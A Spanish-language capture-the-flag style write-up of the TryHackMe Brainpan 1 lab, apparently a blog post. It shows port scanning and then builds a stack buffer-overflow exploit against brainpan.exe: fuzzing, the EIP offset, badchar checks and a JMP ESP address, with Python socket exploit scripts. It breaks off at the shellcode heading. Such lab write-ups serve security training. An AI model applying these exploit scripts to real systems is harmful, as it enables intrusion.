Brainpan 1 [TryHackMe]
2023-10-08
Introducción
La última máquina que he hecho en TryHackMe ha sido Brainpan 1. Se trata de una máquina de nivel “difícil” para la que necesitaremos explotar un buffer overflow de un binario de Windows que se está ejecutando en un una máquina Linux. No hay flags ni ninguna indicación, simplemente tenemos que conseguir acceso a la máquina y obtener una shell con privilegios de administrador.
Escaneo de puertos
Lo primero que haremos será escanear los puertos de la máquina con nmap:
nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44
# Nmap 7.94 scan initiated Sat Oct 7 23:47:02 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct 7 23:47:15 2023 -- 1 IP address (1 host up) scanned in 13.11 seconds
# Nmap 7.94 scan initiated Sat Oct 7 23:47:02 2023 as: nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sat Oct 7 23:47:15 2023 -- 1 IP address (1 host up) scanned in 13.11 seconds
# Nmap 7.94 scan initiated Sat Oct 7 23:47:15 2023 as: nmap -p9999,10000 -sC -sV -Pn -oN nmap_final 10.10.115.44
Nmap scan report for 10.10.115.44
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94%I=7%D=10/7%Time=6521D1EA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 7 23:47:55 2023 -- 1 IP address (1 host up) scanned in 39.38 seconds
Vemos que tenemos dos puertos abiertos, el 9999 y el 10000. El primero de ellos es el puerto de escucha del binario que vamos a explotar, y el segundo es un puerto de gestión de un sniffer de red que no nos interesa.
Enumeración
Vamos a enumerar el puerto 9999 y el puerto 10000 con netcat para ver qué nos devuelve:
nc -vn 10.10.115.44 9999
Connection to 10.10.115.44 9999 port [tcp/*] succeeded!
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
nc -vn 10.10.115.44 10000
Connection to 10.10.115.44 10000 port [tcp/*] succeeded!
hola
<head>
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code 400.
<p>Message: Bad request syntax ('hola').
<p>Error code explanation: 400 = Bad request syntax or unsupported method.
</body>
Vemos que el puerto 9999 nos devuelve un banner con un mensaje de bienvenida y un campo para introducir una contraseña. El puerto 10000 nos devuelve un error 400 al enviarle un mensaje.
Decido probar a enumerar el peurto 10000 con gobuster para ver si hay algún directorio web que podamos explorar:
gobuster dir --url "http://10.10.115.44:10000/" -w "/usr/share/wordlists/dirbuster/directory-list-1.0.txt"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.115.44:10000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/bin (Status: 301) [Size: 0] [--> /bin/]
Progress: 11466 / 141709 (8.09%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 11509 / 141709 (8.12%)
===============================================================
Finished
===============================================================
Al parecer hay un directorio llamado /bin. Al acceder a él vemos que se trata de un directorio de descarga de un binario llamado brainpan.exe que debe ser el binario que se está ejecutando en el puerto 9999. Lo descargo y me dispongo a analizarlo con Inmunity Debugger en una máquina Windows 7 que tengo en VirtualBox.
file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, 5 sections
Análisis del binario
Lo primero que hago es abrir el binario con Inmunity Debugger y analizarlo con mona para ver si hay algún módulo vulnerable:
!mona modules
---------- Mona command started on 2023-10-08 23:15:09 (v2.0, rev 634) ----------
0BADF00D [+] Processing arguments and criteria
0BADF00D - Pointer access level : X
0BADF00D [+] Generating module info table, hang on...
0BADF00D - Processing modules
0BADF00D - Done. Let's rock 'n roll.
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Module info :
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D 0x75920000 | 0x75926000 | 0x00006000 | True | True | True | False | True | True | 6.1.7600.16385 [NSI.dll] (C:\Windows\syswow64\NSI.dll) 0x540
0BADF00D 0x76d30000 | 0x76d76000 | 0x00046000 | True | True | True | False | True | True | 6.1.7600.16385 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll) 0x140
0BADF00D 0x77480000 | 0x774b5000 | 0x00035000 | True | True | True | False | True | True | 6.1.7600.16385 [WS2_32.DLL] (C:\Windows\syswow64\WS2_32.DLL) 0x140
0BADF00D 0x770f0000 | 0x77200000 | 0x00110000 | True | True | True | False | True | True | 6.1.7600.16385 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll) 0x140
0BADF00D 0x75930000 | 0x759dc000 | 0x000ac000 | True | True | True | False | True | True | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll) 0x140
0BADF00D 0x75710000 | 0x7571c000 | 0x0000c000 | True | True | True | False | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll) 0x540
0BADF00D 0x75720000 | 0x75780000 | 0x00060000 | True | True | True | False | True | True | 6.1.7601.17514 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll) 0x140
0BADF00D 0x77bc0000 | 0x77d40000 | 0x00180000 | True | True | True | False | True | True | 6.1.7600.16385 [ntdll.dll] (C:\Windows\SysWOW64\ntdll.dll) 0x140
0BADF00D 0x31170000 | 0x31176000 | 0x00006000 | False | False | False | False | False | False | -1.0- [brainpan.exe] (C:\bof\brainpan\brainpan.exe) 0x0
0BADF00D 0x76a40000 | 0x76b30000 | 0x000f0000 | True | True | True | False | True | True | 6.1.7600.16385 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll) 0x140
0BADF00D 0x76a20000 | 0x76a39000 | 0x00019000 | True | True | True | False | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll) 0x140
0BADF00D -----------------------------------------------------------------------------------------------------------------------------------------
0BADF00D
0BADF00D [+] Preparing output file 'modules.txt'
0BADF00D - (Re)setting logfile c:\\mona\\brainpan\modules.txt
0BADF00D
0BADF00D [+] This mona.py action took 0:00:00.083000
0BADF00D ----------------------------------------------------------------------------------------------------------------------------------------------
Vemos que hay un módulo llamado brainpan.exe que es el que nos interesa.
Fuzzing
Al analizarlo con netcat, pude comprobar que el programa consiste en un banner de bienvenida y un campo para introducir una contraseña. Si introducimos una contraseña incorrecta, el programa nos devuelve un mensaje de error. Sabiendo que el programa es vulnerable a un buffer overflow, intento averiguar ver cuántos bytes necesito para sobreescribir el EIP.
El campo de contraseña es posible que tenga un límite de caracteres, así que voy a enviar un mensaje exageradamente largo para ver si se rompe el programa. Para ello, creo una cadena de 1000 caracteres y la envío al programa con netcat:
# Creo una cadena de 1000 caracteres
python -c "print('A'*1000)"
Reviso Inmunity Debugger y veo que el programa se ha roto y que el EIP ha sido sobrescrito con 41414141:
EAX 00000001
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720
EBX 7EFDE000
ESP 0028F930 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 0 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1
Análisis del volcado de memoria
-
EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI: Estos son registros de propósito general y punteros utilizados por la CPU. El valor
41414141
en EBP y EIP sugiere un posible desbordamiento de búfer, ya que es una secuencia de ‘A’ (0x41), que es el valor que se ha utilizado para rellenar el búfer. -
EIP (Instruction Pointer): Contiene la dirección de la próxima instrucción que se ejecutará. Ha sido sobrescrito con ‘A’ (0x41). Este es un indicador típico de un desbordamiento de búfer.
-
ESP (Stack Pointer): Indica la dirección actual en la pila. También contiene una secuencia de ‘A’, lo que sugiere que el desbordamiento de búfer podría haber afectado la pila.
-
EBP (Base Pointer): Normalmente, se utiliza para apuntar al comienzo de un marco de pila. El valor
41414141
indica que también ha sido sobrescrito y podría ser parte de un intento de controlar la ejecución. -
Pila (Stack): La información en la pila muestra una cadena repetitiva de ‘A’ (0x41), lo cual es un indicador clásico de un desbordamiento de búfer.
-
EIP con ‘41414141’: La dirección de retorno (EIP) ha sido sobrescrita con ‘A’ (0x41), lo que indica un posible desbordamiento de búfer que ha alterado la dirección de retorno.
Control del EIP
Sabiendo que el programa es vulnerable a un buffer overflow, voy a intentar explotarlo con Python. Para ello, voy a utilizar el módulo socket para conectarme al programa y enviarle una cadena de 1000 caracteres. Para ver si el programa se ha roto, voy a enviarle una cadena de 1000 caracteres ‘A’ y voy a ver si el EIP se ha sobrescrito con ‘A’ (0x41).
import socket
ip = "192.168.56.101"
port = 9999
prefix = "k3ss "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "A" * 1000
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except Exception as e:
print(f"An error occurred: {e}")
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 7EFDE000
ESP 0028F930 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 41414141
ESI 00000000
EDI 00000000
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 1 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1
Una vez ejecutado el script, compruebo Inmunity Debugger y veo que el EIP se ha sobrescrito con ‘A’ (0x41). Ahora hay que averiguar el offset para sobrescribir el EIP con una dirección de memoria que apunte a un salto a la shellcode.
msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Sustituimos la cadena de 1000 caracteres por la cadena generada por msf-pattern_create y ejecutamos el script:
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5A
EBX 7EFDE000
ESP 0028F930 ASCII "r4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1A
EBP 32724131
ESI 00000000
EDI 00000000
EIP 41337241
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 1 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1
Vemos que el EIP se ha sobrescrito con 41337241. Ahora vamos a averiguar el offset para sobrescribir el EIP con una dirección de memoria que apunte a un salto a la shellcode.
msf-pattern_offset -q 41337241 -l 1000
[*] Exact match at offset 519
Solo tengo que añadir 519 ‘A’ a la cadena de 1000 caracteres y enviarla al programa para sobrescribir el EIP con la dirección de memoria que apunta a un salto a la shellcode. Dejo el payload vacío para ver si el programa y añado un retn con BBBB para ver si el EIP se ha sobrescrito con BBBB.
import socket
ip = "192.168.56.101"
port = 9999
prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except Exception as e:
print(f"An error occurred: {e}")
EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 0028F720 ASCII "k3ss AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 7EFDE000
ESP 0028F930 ASCII "
"
EBP 41414141
ESI 00000000
EDI 00000000
EIP 42424242
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 0 DS 002B 32bit 0(FFFFFFFF)
S 1 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 037F Prec NEAR,64 Mask 1 1 1 1 1 1
Vemos que el EIP se ha sobrescrito con 42424242. Ahora hay que averiguar cuales son los badchars que podrían afectar al shellcode.
Badchars
Para ello, voy a enviarle al programa una cadena de 1000 caracteres con todos los caracteres hexadecimales posibles:
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
python3 bytearray.py
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
Preparo el script del exploit con el offset, el retn BBBB y el payload con los valores hexadecimales generados:
import socket
ip = "192.168.56.101"
port = 9999
prefix = "k3ss "
offset = 519
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except Exception as e:
print(f"An error occurred: {e}")
En Inmuinity Debugger añado el valor \x00 a un bytearray para ver si es un badchar:
!mona bytearray -b "\x00"
Lanzo el exploit y comparo el bytearray con el payload enviado:
!mona compare -f C:\mona\brainpan\\bytearray.bin -a ESP
mona Memory comparison results, item 0
Address=0x0028f930
Status=Unmodified
BadChars=
Type=normal
Location=Stack
Al comparar la dirección de memoria del ESP con el bytearray, vemos que no hay ningún badchar más que el \x00.
Punto de salto
El comando !mona jmp -r esp -cpb "\x00"
nos devuelve una lista de direcciones de memoria que apuntan a un salto a la shellcode:
!mona jmp -r esp -cpb "\x00"
Log data, item 3
Address=311712F3
Message= 0x311712f3 : jmp esp | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\bof\brainpan\brainpan.exe), 0x0
La dirección de memoria que apunta a un salto a la shellcode es 311712F3. Es necesario convertir la dirección de memoria a little endian para poder utilizarla en el exploit.
python -c "import struct; print(struct.pack('<I', 0x311712F3))"
b'\xf3\x12\x171'
Lo añado a la variable retn del exploit.
Shellcode
